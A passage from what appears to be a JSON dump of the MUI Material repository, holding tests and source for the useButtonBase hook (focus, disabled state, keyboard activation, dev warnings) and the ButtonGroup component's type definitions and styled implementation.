vi.fn();\n      const handleFocus = vi.fn();\n      const handleBlur = vi.fn();\n\n      function FocusableNonNativeButton(\n        props: UseButtonBaseParameters & {\n          onClick?: React.MouseEventHandler<any> | undefined;\n          onKeyDown?: React.KeyboardEventHandler<any> | undefined;\n          onKeyUp?: React.KeyboardEventHandler<any> | undefined;\n          onFocus?: React.FocusEventHandler<HTMLDivElement> | undefined;\n          onBlur?: React.FocusEventHandler<HTMLDivElement> | undefined;\n        },\n      ) {\n        const { onClick, onKeyDown, onKeyUp, onFocus, onBlur, ...params } = props;\n        const { getButtonProps, rootRef } = useButtonBase(params);\n\n        return (\n          <div\n            data-testid=\"root\"\n            ref={rootRef as React.Ref<HTMLDivElement>}\n            {...getButtonProps({ onBlur, onClick, onFocus, onKeyDown, onKeyUp })}\n          />\n        );\n      }\n\n      const { user } = render(\n        <FocusableNonNativeButton\n          disabled\n          nativeButton={false}\n          focusableWhenDisabled\n          onClick={handleClick}\n          onKeyDown={handleKeyDown}\n          onKeyUp={handleKeyUp}\n          onFocus={handleFocus}\n          onBlur={handleBlur}\n        />,\n      );\n\n      const button = screen.getByRole('button');\n\n      expect(button).not.toHaveFocus();\n      expect(handleFocus).not.toHaveBeenCalled();\n\n      await user.tab();\n      expect(button).toHaveFocus();\n      expect(handleFocus).toHaveBeenCalledTimes(1);\n      handleKeyDown.mockClear();\n      handleKeyUp.mockClear();\n\n      await user.keyboard('{Enter}');\n      expect(handleKeyDown).not.toHaveBeenCalled();\n      expect(handleClick).not.toHaveBeenCalled();\n\n      await user.keyboard(' ');\n      expect(handleKeyDown).not.toHaveBeenCalled();\n      expect(handleKeyUp).not.toHaveBeenCalled();\n      expect(handleClick).not.toHaveBeenCalled();\n\n      await user.click(button);\n      expect(handleClick).not.toHaveBeenCalled();\n\n      expect(handleBlur).not.toHaveBeenCalled();\n      await user.tab();\n      expect(handleBlur).toHaveBeenCalledTimes(1);\n      expect(button).not.toHaveFocus();\n    });\n  });\n\n  describe('getButtonProps', () => {\n    describe('native button', () => {\n      it('returns type=\"button\" and disabled', () => {\n        render(<NativeButton />);\n\n        const el = screen.getByTestId('root');\n        expect(el.getAttribute('type')).toBe('button');\n        expect(el.getAttribute('role')).toBeNull();\n        expect((el as HTMLButtonElement).disabled).toBe(false);\n      });\n\n      it('returns disabled=true when disabled', () => {\n        render(<NativeButton disabled />);\n\n        const el = screen.getByTestId('root');\n        expect(el.getAttribute('type')).toBe('button');\n        expect((el as HTMLButtonElement).disabled).toBe(true);\n        expect(el.getAttribute('tabindex')).toBe('-1');\n      });\n\n      it('does not default type when hasFormAction is true', () => {\n        render(<NativeButton hasFormAction />);\n\n        const el = screen.getByTestId('root');\n        expect(el.getAttribute('type')).toBeNull();\n      });\n\n      it('returns aria-disabled instead of disabled for focusable disabled buttons', () => {\n        render(<NativeButton disabled focusableWhenDisabled />);\n\n        const el = screen.getByTestId('root');\n        expect(el.getAttribute('type')).toBe('button');\n        expect(el.hasAttribute('disabled')).toBe(false);\n        expect(el.getAttribute('aria-disabled')).toBe('true');\n        expect(el.getAttribute('tabindex')).toBe('0');\n      });\n    });\n\n    describe('non-native button', () => {\n      it('returns role=\"button\" and aria-disabled', () => {\n        render(<NonNativeButton disabled />);\n\n        const el = screen.getByTestId('root');\n        expect(el.getAttribute('role')).toBe('button');\n        expect(el.getAttribute('aria-disabled')).toBe('true');\n        expect(el.getAttribute('type')).toBeNull();\n        expect(el.getAttribute('tabindex')).toBe('-1');\n      });\n\n      it('returns tabIndex=0 when enabled', () => {\n        render(<NonNativeButton />);\n\n        const el = screen.getByTestId('root');\n        expect(el.getAttribute('role')).toBe('button');\n        expect(el.getAttribute('aria-disabled')).toBeNull();\n        expect(el.getAttribute('tabindex')).toBe('0');\n      });\n\n      it('respects custom tabIndex', () => {\n        render(<NonNativeButton tabIndex={5} />);\n\n        const el = screen.getByTestId('root');\n        expect(el.getAttribute('tabindex')).toBe('5');\n      });\n\n      it('overrides custom tabIndex to -1 when disabled', () => {\n        render(<NonNativeButton disabled tabIndex={5} />);\n\n        const el = screen.getByTestId('root');\n        expect(el.getAttribute('tabindex')).toBe('-1');\n      });\n    });\n  });\n\n  describe('warnings', () => {\n    function getWarningMessages(errorSpy: ReturnType<typeof vi.spyOn>) {\n      return errorSpy.mock.calls.map((call: [unknown, ...unknown[]]) =>\n        String(call[0]).replace(/\\s+/g, ' ').trim().toLowerCase(),\n      );\n    }\n\n    function expectWarningWithFragments(\n      errorSpy: ReturnType<typeof vi.spyOn>,\n      fragments: string[],\n    ) {\n      const messages = getWarningMessages(errorSpy);\n\n      expect(messages.length).toBeGreaterThanOrEqual(1);\n      expect(\n        messages.some((message: string) =>\n          fragments.every((fragment: string) => message.includes(fragment.toLowerCase())),\n        ),\n      ).toBe(true);\n    }\n\n    it('warns when nativeButton is omitted and a custom component resolves to a button host', () => {\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(<NativeButton internalNativeButton={false} />);\n\n      expectWarningWithFragments(errorSpy, ['nativebutton={true}', 'native <button>']);\n      errorSpy.mockRestore();\n    });\n\n    it('warns when nativeButton is omitted and a custom component resolves to a non-button host', () => {\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(<NonNativeButton internalNativeButton />);\n\n      expectWarningWithFragments(errorSpy, ['nativebutton={false}', 'non-<button>']);\n      errorSpy.mockRestore();\n    });\n\n    it('warns when nativeButton=true but the resolved host is not a button', () => {\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(<NonNativeButton nativeButtonProp />);\n\n      expectWarningWithFragments(errorSpy, ['nativebutton', 'true', 'native <button>']);\n      errorSpy.mockRestore();\n    });\n\n    it('warns when nativeButton=false but the resolved host is a button', () => {\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(<NativeButton nativeButtonProp={false} />);\n\n      expectWarningWithFragments(errorSpy, ['nativebutton', 'false', 'non-<button>']);\n      errorSpy.mockRestore();\n    });\n\n    it('does not warn when the inferred host matches the resolved host', () => {\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(<NativeButton />);\n      render(<NonNativeButton internalNativeButton={false} id=\"non-native\" />);\n\n      expect(errorSpy.mock.calls.length).toBe(0);\n      errorSpy.mockRestore();\n    });\n\n    it('does not warn when nativeButton={false} matches the resolved host', () => {\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(<NonNativeButton nativeButtonProp={false} />);\n\n      expect(errorSpy.mock.calls.length).toBe(0);\n      errorSpy.mockRestore();\n    });\n\n    it('does not warn when inferred host mismatches are allowed', () => {\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(<NativeButton internalNativeButton={false} allowInferredHostMismatch />);\n\n      expect(errorSpy.mock.calls.length).toBe(0);\n      errorSpy.mockRestore();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/useButtonBase.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport useFocusableWhenDisabled from '../utils/useFocusableWhenDisabled';\n\nexport interface UseButtonBaseParameters {\n  /**\n   * Whether the root should be treated as a native `<button>` for render-time semantics.\n   */\n  nativeButton: boolean;\n  /**\n   * The explicit `nativeButton` value provided by the caller, if any.\n   */\n  nativeButtonProp?: boolean | undefined;\n  /**\n   * Whether the default rendered element is expected to be a native button when\n   * `nativeButton` was not explicitly provided.\n   * @default nativeButton\n   */\n  internalNativeButton?: boolean | undefined;\n  /**\n   * Whether to perform additional checks in dev mode on whether the resolved element\n   * matches the default native or non-native button expectation.\n   * Set to `true` to allow hook callers bypass this check, e.g. when the `component`\n   * prop is a string.\n   * @default false\n   */\n  allowInferredHostMismatch?: boolean | undefined;\n  /**\n   * The disabled state of the component.\n   */\n  disabled: boolean;\n  /**\n   * The `type` attribute for the element.\n   */\n  type?: string | undefined;\n  /**\n   * Whether the element has a `formAction` attribute. When true, the hook\n   * will not default `type` to `'button'` for native buttons so the browser\n   * can use its natural submit behaviour.\n   * @default false\n   */\n  hasFormAction?: boolean | undefined;\n  /**\n   * The `tabIndex` attribute for the element.\n   * @default 0\n   */\n  tabIndex?: number | undefined;\n  /**\n   * When `true`, a disabled root can remain focusable.\n   * When `undefined`, the feature is not enabled.\n   */\n  focusableWhenDisabled?: boolean | undefined;\n  /**\n   * When `true`, calls `event.stopPropagation()` on click before the disabled guard runs.\n   * @default false\n   */\n  stopEventPropagation?: boolean | undefined;\n  /**\n   * An additional function that will run before the user's `onKeyDown`, e.g.\n   * to trigger the ripple effect in `<ButtonBase>`.\n   */\n  onBeforeKeyDown?: React.KeyboardEventHandler<HTMLElement> | undefined;\n  /**\n   * An additional function that will run before the user's `onKeyUp`, e.g.\n   * to control the ripple effect in `<ButtonBase>`.\n   */\n  onBeforeKeyUp?: React.KeyboardEventHandler<HTMLElement> | undefined;\n}\n\nexport interface ButtonBaseButtonProps {\n  role?: string | undefined;\n  'aria-disabled'?: boolean | undefined;\n  type?: string | undefined;\n  disabled?: boolean | undefined;\n  tabIndex: number;\n}\n\nexport interface ButtonBaseExternalProps extends React.HTMLAttributes<any> {\n  'aria-disabled'?: boolean | undefined;\n  disabled?: boolean | undefined;\n  type?: string | undefined;\n}\n\nexport interface ButtonBaseEventHandlers {\n  onClick: React.MouseEventHandler<HTMLElement>;\n  onKeyDown: React.KeyboardEventHandler<HTMLElement>;\n  onKeyUp: React.KeyboardEventHandler<HTMLElement>;\n}\n\nexport interface UseButtonBaseReturnValue {\n  /**\n   * @param externalProps additional props for the button\n   * @returns props that should be spread on the button\n   */\n  getButtonProps: <ExternalProps extends ButtonBaseExternalProps = ButtonBaseExternalProps>(\n    externalProps?: ExternalProps,\n  ) => Omit<ExternalProps, keyof ButtonBaseEventHandlers> &\n    ButtonBaseButtonProps &\n    ButtonBaseEventHandlers;\n  rootRef: React.RefObject<HTMLElement | null>;\n}\n\nconst EMPTY = {};\n\nexport default function useButtonBase(\n  parameters: UseButtonBaseParameters,\n): UseButtonBaseReturnValue {\n  const {\n    nativeButton,\n    nativeButtonProp,\n    internalNativeButton = nativeButton,\n    allowInferredHostMismatch = false,\n    disabled,\n    type,\n    hasFormAction = false,\n    tabIndex = 0,\n    focusableWhenDisabled: focusableWhenDisabledParam,\n    stopEventPropagation = false,\n    onBeforeKeyDown,\n    onBeforeKeyUp,\n  } = parameters;\n\n  const rootRef = React.useRef<HTMLElement | null>(null);\n  const focusableWhenDisabled = focusableWhenDisabledParam === true;\n  const focusableWhenDisabledProps = useFocusableWhenDisabled({\n    focusableWhenDisabled,\n    disabled,\n    isNativeButton: nativeButton,\n    tabIndex,\n  });\n\n  if (process.env.NODE_ENV !== 'production') {\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    React.useEffect(() => {\n      const root = rootRef.current;\n      if (root == null) {\n        return;\n      }\n\n      const isButtonTag = root.tagName === 'BUTTON';\n\n      if (nativeButtonProp !== undefined) {\n        if (nativeButtonProp && !isButtonTag) {\n          const message =\n            'MUI: A component that acts as a button expected a native <button> because the ' +\n            '`nativeButton` prop is true. Rendering a non-<button> removes native button ' +\n            'semantics, which can impact forms and accessibility. Render a real <button> ' +\n            'or set `nativeButton` to `false`.';\n          console.error(message);\n        }\n\n        if (!nativeButtonProp && isButtonTag) {\n          const message =\n            'MUI: A component that acts as a button expected a non-<button> because the `nativeButton` ' +\n            'prop is false. Rendering a <button> keeps native behavior while additionally applies ' +\n            'non-native attributes and handlers, which can add unintended extra attributes (such ' +\n            'as `role` or `aria-disabled`). Render a non-<button> such as <div>, or set ' +\n            '`nativeButton` to `true`.';\n          console.error(message);\n        }\n\n        return;\n      }\n\n      if (allowInferredHostMismatch) {\n        return;\n      }\n\n      // warn when expecting a native <button> element but a non-string `component` prop resolved to a non-button element\n      if (internalNativeButton && !isButtonTag) {\n        const message =\n          'MUI: A component rendering a native <button> resolved to a non-<button> element, ' +\n          'but `nativeButton={false}` was not specified and the resolved root is a non-<button>. ' +\n          'When rendering a custom component, set `nativeButton={false}` explicitly or render a <button> element.';\n        console.error(message);\n      }\n\n      // warn when expecting a non-button but a non-string `component` prop resolved to a native <button> element\n      if (!internalNativeButton && isButtonTag) {\n        const message =\n          'MUI: A component that acts as a non-native button resolved to a native <button> element, ' +\n          'but `nativeButton={true}` was not specified. ' +\n          'When rendering a custom component, set `nativeButton={true}` explicitly or render a non-<button> element.';\n        console.error(message);\n      }\n    }, [allowInferredHostMismatch, internalNativeButton, nativeButtonProp]);\n  }\n\n  // A helper for event handlers to determine whether to use browser-defined keyboard activation\n  // for native elements like <button> and <a href>, or synthesize Enter/Space clicks for non-native\n  // elements like `<div role=\"button\">`.\n  // This is UNSAFE TO USE outside of event handers, e.g. in render.\n  const hasNativeKeyboardActivation = React.useCallback(() => {\n    const root = rootRef.current;\n\n    if (root == null) {\n      return nativeButton;\n    }\n\n    if (root.tagName === 'BUTTON') {\n      return true;\n    }\n\n    // Although this hook is not intended for links, this check is for\n    // backward compatibility with `<ButtonBase href=\"#\" />` since ButtonBase\n    // uses the returned event handlers.\n    return Boolean(root.tagName === 'A' && (root as HTMLAnchorElement).href);\n  }, [nativeButton]);\n\n  const buttonProps = React.useMemo(() => {\n    const resolvedButtonProps: ButtonBaseButtonProps = focusableWhenDisabled\n      ? ({} as ButtonBaseButtonProps)\n      : { tabIndex: disabled ? -1 : tabIndex };\n\n    if (nativeButton) {\n      resolvedButtonProps.type = type === undefined && !hasFormAction ? 'button' : type;\n      if (!focusableWhenDisabled) {\n        resolvedButtonProps.disabled = disabled;\n      }\n    } else {\n      resolvedButtonProps.role = 'button';\n      if (!focusableWhenDisabled && disabled) {\n        resolvedButtonProps['aria-disabled'] = disabled;\n      }\n    }\n\n    if (focusableWhenDisabled) {\n      return {\n        ...resolvedButtonProps,\n        ...focusableWhenDisabledProps,\n      };\n    }\n\n    return resolvedButtonProps;\n  }, [\n    disabled,\n    focusableWhenDisabled,\n    focusableWhenDisabledProps,\n    hasFormAction,\n    nativeButton,\n    tabIndex,\n    type,\n  ]);\n\n  const getButtonProps = React.useCallback(\n    <ExternalProps extends ButtonBaseExternalProps = ButtonBaseExternalProps>(\n      externalProps = EMPTY as ExternalProps,\n    ) => {\n      const {\n        onClick: externalOnClick,\n        onKeyDown: externalOnKeyDown,\n        onKeyUp: externalOnKeyUp,\n        ...otherExternalProps\n      } = externalProps;\n\n      const handleClick: React.MouseEventHandler<HTMLElement> = (event) => {\n        if (stopEventPropagation) {\n          event.stopPropagation();\n        }\n\n        if (disabled) {\n          event.preventDefault();\n          return;\n        }\n\n        externalOnClick?.(event);\n      };\n\n      const handleKeyDown: React.KeyboardEventHandler<HTMLElement> = (event) => {\n        if (focusableWhenDisabled) {\n          focusableWhenDisabledProps.onKeyDown(event);\n        }\n\n        if (disabled) {\n          return;\n        }\n\n        onBeforeKeyDown?.(event);\n        externalOnKeyDown?.(event);\n\n        if (event.target !== event.currentTarget || hasNativeKeyboardActivation()) {\n          return;\n        }\n\n        if (event.key === ' ') {\n          event.preventDefault();\n          return;\n        }\n\n        if (event.key === 'Enter') {\n          event.preventDefault();\n          event.currentTarget.click();\n        }\n      };\n\n      const handleKeyUp: React.KeyboardEventHandler<HTMLElement> = (event) => {\n        if (disabled) {\n          return;\n        }\n\n        onBeforeKeyUp?.(event);\n        externalOnKeyUp?.(event);\n\n        if (\n          event.target === event.currentTarget &&\n          !hasNativeKeyboardActivation() &&\n          event.key === ' ' &&\n          !event.defaultPrevented\n        ) {\n          event.currentTarget.click();\n        }\n      };\n\n      return {\n        ...buttonProps,\n        ...otherExternalProps,\n        onClick: handleClick,\n        onKeyDown: handleKeyDown,\n        onKeyUp: handleKeyUp,\n      };\n    },\n    [\n      buttonProps,\n      disabled,\n      focusableWhenDisabled,\n      focusableWhenDisabledProps,\n      hasNativeKeyboardActivation,\n      onBeforeKeyDown,\n      onBeforeKeyUp,\n      stopEventPropagation,\n    ],\n  );\n\n  return {\n    getButtonProps,\n    rootRef,\n  };\n}\n"
  },
  {
    "path": "packages/mui-material/src/ButtonGroup/ButtonGroup.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { ButtonGroupClasses } from './buttonGroupClasses';\n\nexport interface ButtonGroupPropsColorOverrides {}\nexport interface ButtonGroupPropsVariantOverrides {}\nexport interface ButtonGroupPropsSizeOverrides {}\n\nexport interface ButtonGroupOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ButtonGroupClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color?:\n    | OverridableStringUnion<\n        'inherit' | 'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning',\n        ButtonGroupPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, no elevation is used.\n   * @default false\n   */\n  disableElevation?: boolean | undefined;\n  /**\n   * If `true`, the button keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple?: boolean | undefined;\n  /**\n   * If `true`, the button ripple effect is disabled.\n   * @default false\n   */\n  disableRipple?: boolean | undefined;\n  /**\n   * If `true`, the buttons will take up the full width of its container.\n   * @default false\n   */\n  fullWidth?: boolean | undefined;\n  /**\n   * The component orientation (layout flow direction).\n   * @default 'horizontal'\n   */\n  orientation?: 'vertical' | 'horizontal' | undefined;\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense button styling.\n   * @default 'medium'\n   */\n  size?:\n    | OverridableStringUnion<'small' | 'medium' | 'large', ButtonGroupPropsSizeOverrides>\n    | undefined;\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant?:\n    | OverridableStringUnion<'text' | 'outlined' | 'contained', ButtonGroupPropsVariantOverrides>\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface ButtonGroupTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & ButtonGroupOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Button Group](https://next.mui.com/material-ui/react-button-group/)\n *\n * API:\n *\n * - [ButtonGroup API](https://next.mui.com/material-ui/api/button-group/)\n */\ndeclare const ButtonGroup: OverridableComponent<ButtonGroupTypeMap>;\n\nexport type ButtonGroupProps<\n  RootComponent extends React.ElementType = ButtonGroupTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ButtonGroupTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default ButtonGroup;\n"
  },
  {
    "path": "packages/mui-material/src/ButtonGroup/ButtonGroup.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport getValidReactChildren from '@mui/utils/getValidReactChildren';\nimport capitalize from '../utils/capitalize';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport buttonGroupClasses, { getButtonGroupUtilityClass } from './buttonGroupClasses';\nimport ButtonGroupContext from './ButtonGroupContext';\nimport ButtonGroupButtonContext from './ButtonGroupButtonContext';\n\nconst overridesResolver = (props, styles) => {\n  const { ownerState } = props;\n\n  return [\n    { [`& .${buttonGroupClasses.grouped}`]: styles.grouped },\n    {\n      [`& .${buttonGroupClasses.firstButton}`]: styles.firstButton,\n    },\n    {\n      [`& .${buttonGroupClasses.lastButton}`]: styles.lastButton,\n    },\n    {\n      [`& .${buttonGroupClasses.middleButton}`]: styles.middleButton,\n    },\n    styles.root,\n    styles[ownerState.variant],\n    ownerState.disableElevation === true && styles.disableElevation,\n    ownerState.fullWidth && styles.fullWidth,\n    ownerState.orientation === 'vertical' && styles.vertical,\n  ];\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, color, disabled, disableElevation, fullWidth, orientation, variant } =\n    ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      variant,\n      orientation,\n      fullWidth && 'fullWidth',\n      disableElevation && 'disableElevation',\n      `color${capitalize(color)}`,\n    ],\n    grouped: ['grouped', disabled && 'disabled'],\n    firstButton: ['firstButton'],\n    lastButton: ['lastButton'],\n    middleButton: ['middleButton'],\n  };\n\n  return composeClasses(slots, getButtonGroupUtilityClass, classes);\n};\n\nconst ButtonGroupRoot = styled('div', {\n  name: 'MuiButtonGroup',\n  slot: 'Root',\n  overridesResolver,\n})(\n  memoTheme(({ theme }) => ({\n    display: 'inline-flex',\n    borderRadius: (theme.vars || theme).shape.borderRadius,\n    variants: [\n      {\n        props: { variant: 'contained' },\n        style: {\n          boxShadow: (theme.vars || theme).shadows[2],\n          [`& .${buttonGroupClasses.grouped}`]: {\n            boxShadow: 'none',\n            '&:hover': {\n              boxShadow: 'none',\n            },\n          },\n        },\n      },\n      {\n        props: { disableElevation: true },\n        style: {\n          boxShadow: 'none',\n        },\n      },\n      {\n        props: { fullWidth: true },\n        style: {\n          width: '100%',\n        },\n      },\n      {\n        props: { orientation: 'vertical' },\n        style: {\n          flexDirection: 'column',\n          [`& .${buttonGroupClasses.lastButton},& .${buttonGroupClasses.middleButton}`]: {\n            borderTopRightRadius: 0,\n            borderTopLeftRadius: 0,\n          },\n          [`& .${buttonGroupClasses.firstButton},& .${buttonGroupClasses.middleButton}`]: {\n            borderBottomRightRadius: 0,\n            borderBottomLeftRadius: 0,\n          },\n        },\n      },\n      {\n        props: { orientation: 'horizontal' },\n        style: {\n          [`& .${buttonGroupClasses.firstButton},& .${buttonGroupClasses.middleButton}`]: {\n            borderTopRightRadius: 0,\n            borderBottomRightRadius: 0,\n          },\n          [`& .${buttonGroupClasses.lastButton},& .${buttonGroupClasses.middleButton}`]: {\n            borderTopLeftRadius: 0,\n            borderBottomLeftRadius: 0,\n          },\n        },\n      },\n      {\n        props: { variant: 'text', orientation: 'horizontal' },\n        style: {\n          [`& .${buttonGroupClasses.firstButton},& .${buttonGroupClasses.middleButton}`]: {\n            borderRight: theme.vars\n              ? `1px solid ${theme.alpha(theme.vars.palette.common.onBackground, 0.23)}`\n              : `1px solid ${\n                  theme.palette.mode === 'light'\n                    ? 'rgba(0, 0, 0, 0.23)'\n                    : 'rgba(255, 255, 255, 0.23)'\n                }`,\n            [`&.${buttonGroupClasses.disabled}`]: {\n              borderRight: `1px solid ${(theme.vars || theme).palette.action.disabled}`,\n            },\n          },\n        },\n      },\n      {\n        props: { variant: 'text', orientation: 'vertical' },\n        style: {\n          [`& .${buttonGroupClasses.firstButton},& .${buttonGroupClasses.middleButton}`]: {\n            borderBottom: theme.vars\n              ? `1px solid ${theme.alpha(theme.vars.palette.common.onBackground, 0.23)}`\n              : `1px solid ${\n                  theme.palette.mode === 'light'\n                    ? 'rgba(0, 0, 0, 0.23)'\n                    : 'rgba(255, 255, 255, 0.23)'\n                }`,\n            [`&.${buttonGroupClasses.disabled}`]: {\n              borderBottom: `1px solid ${(theme.vars || theme).palette.action.disabled}`,\n            },\n          },\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .flatMap(([color]) => [\n          {\n            props: { variant: 'text', color },\n            style: {\n              [`& .${buttonGroupClasses.firstButton},& .${buttonGroupClasses.middleButton}`]: {\n                borderColor: theme.alpha((theme.vars || theme).palette[color].main, 0.5),\n              },\n            },\n          },\n        ]),\n      {\n        props: { variant: 'outlined', orientation: 'horizontal' },\n        style: {\n          [`& .${buttonGroupClasses.firstButton},& .${buttonGroupClasses.middleButton}`]: {\n            borderRightColor: 'transparent',\n            '&:hover': {\n              borderRightColor: 'currentColor',\n            },\n          },\n          [`& .${buttonGroupClasses.lastButton},& .${buttonGroupClasses.middleButton}`]: {\n            marginLeft: -1,\n          },\n        },\n      },\n      {\n        props: { variant: 'outlined', orientation: 'vertical' },\n        style: {\n          [`& .${buttonGroupClasses.firstButton},& .${buttonGroupClasses.middleButton}`]: {\n            borderBottomColor: 'transparent',\n            '&:hover': {\n              borderBottomColor: 'currentColor',\n            },\n          },\n          [`& .${buttonGroupClasses.lastButton},& .${buttonGroupClasses.middleButton}`]: {\n            marginTop: -1,\n          },\n        },\n      },\n      {\n        props: { variant: 'contained', orientation: 'horizontal' },\n        style: {\n          [`& .${buttonGroupClasses.firstButton},& .${buttonGroupClasses.middleButton}`]: {\n            borderRight: `1px solid ${(theme.vars || theme).palette.grey[400]}`,\n            [`&.${buttonGroupClasses.disabled}`]: {\n              borderRight: `1px solid ${(theme.vars || theme).palette.action.disabled}`,\n            },\n          },\n        },\n      },\n      {\n        props: { variant: 'contained', orientation: 'vertical' },\n        style: {\n          [`& .${buttonGroupClasses.firstButton},& .${buttonGroupClasses.middleButton}`]: {\n            borderBottom: `1px solid ${(theme.vars || theme).palette.grey[400]}`,\n            [`&.${buttonGroupClasses.disabled}`]: {\n              borderBottom: `1px solid ${(theme.vars || theme).palette.action.disabled}`,\n            },\n          },\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter(['dark']))\n        .map(([color]) => ({\n          props: { variant: 'contained', color },\n          style: {\n            [`& .${buttonGroupClasses.firstButton},& .${buttonGroupClasses.middleButton}`]: {\n              borderColor: (theme.vars || theme).palette[color].dark,\n            },\n          },\n        })),\n    ],\n    [`& .${buttonGroupClasses.grouped}`]: {\n      minWidth: 40,\n    },\n  })),\n);\n\nconst ButtonGroup = React.forwardRef(function ButtonGroup(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiButtonGroup' });\n  const {\n    children,\n    className,\n    color = 'primary',\n    component = 'div',\n    disabled = false,\n    disableElevation = false,\n    disableFocusRipple = false,\n    disableRipple = false,\n    fullWidth = false,\n    orientation = 'horizontal',\n    size = 'medium',\n    variant = 'outlined',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    color,\n    component,\n    disabled,\n    disableElevation,\n    disableFocusRipple,\n    disableRipple,\n    fullWidth,\n    orientation,\n    size,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const context = React.useMemo(\n    () => ({\n      className: classes.grouped,\n      color,\n      disabled,\n      disableElevation,\n      disableFocusRipple,\n      disableRipple,\n      fullWidth,\n      size,\n      variant,\n    }),\n    [\n      color,\n      disabled,\n      disableElevation,\n      disableFocusRipple,\n      disableRipple,\n      fullWidth,\n      size,\n      variant,\n      classes.grouped,\n    ],\n  );\n\n  const validChildren = getValidReactChildren(children);\n  const childrenCount = validChildren.length;\n\n  const getButtonPositionClassName = (index) => {\n    const isFirstButton = index === 0;\n    const isLastButton = index === childrenCount - 1;\n\n    if (isFirstButton && isLastButton) {\n      return '';\n    }\n    if (isFirstButton) {\n      return classes.firstButton;\n    }\n    if (isLastButton) {\n      return classes.lastButton;\n    }\n    return classes.middleButton;\n  };\n\n  return (\n    <ButtonGroupRoot\n      as={component}\n      role=\"group\"\n      className={clsx(classes.root, className)}\n      ref={ref}\n      ownerState={ownerState}\n      {...other}\n    >\n      <ButtonGroupContext.Provider value={context}>\n        {validChildren.map((child, index) => {\n          return (\n            <ButtonGroupButtonContext.Provider\n              key={index}\n              value={getButtonPositionClassName(index)}\n            >\n              {child}\n            </ButtonGroupButtonContext.Provider>\n          );\n        })}\n      </ButtonGroupContext.Provider>\n    </ButtonGroupRoot>\n  );\n});\n\nButtonGroup.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['inherit', 'primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, no elevation is used.\n   * @default false\n   */\n  disableElevation: PropTypes.bool,\n  /**\n   * If `true`, the button keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple: PropTypes.bool,\n  /**\n   * If `true`, the button ripple effect is disabled.\n   * @default false\n   */\n  disableRipple: PropTypes.bool,\n  /**\n   * If `true`, the buttons will take up the full width of its container.\n   * @default false\n   */\n  fullWidth: PropTypes.bool,\n  /**\n   * The component orientation (layout flow direction).\n   * @default 'horizontal'\n   */\n  orientation: PropTypes.oneOf(['horizontal', 'vertical']),\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense button styling.\n   * @default 'medium'\n   */\n  size: PropTypes /* 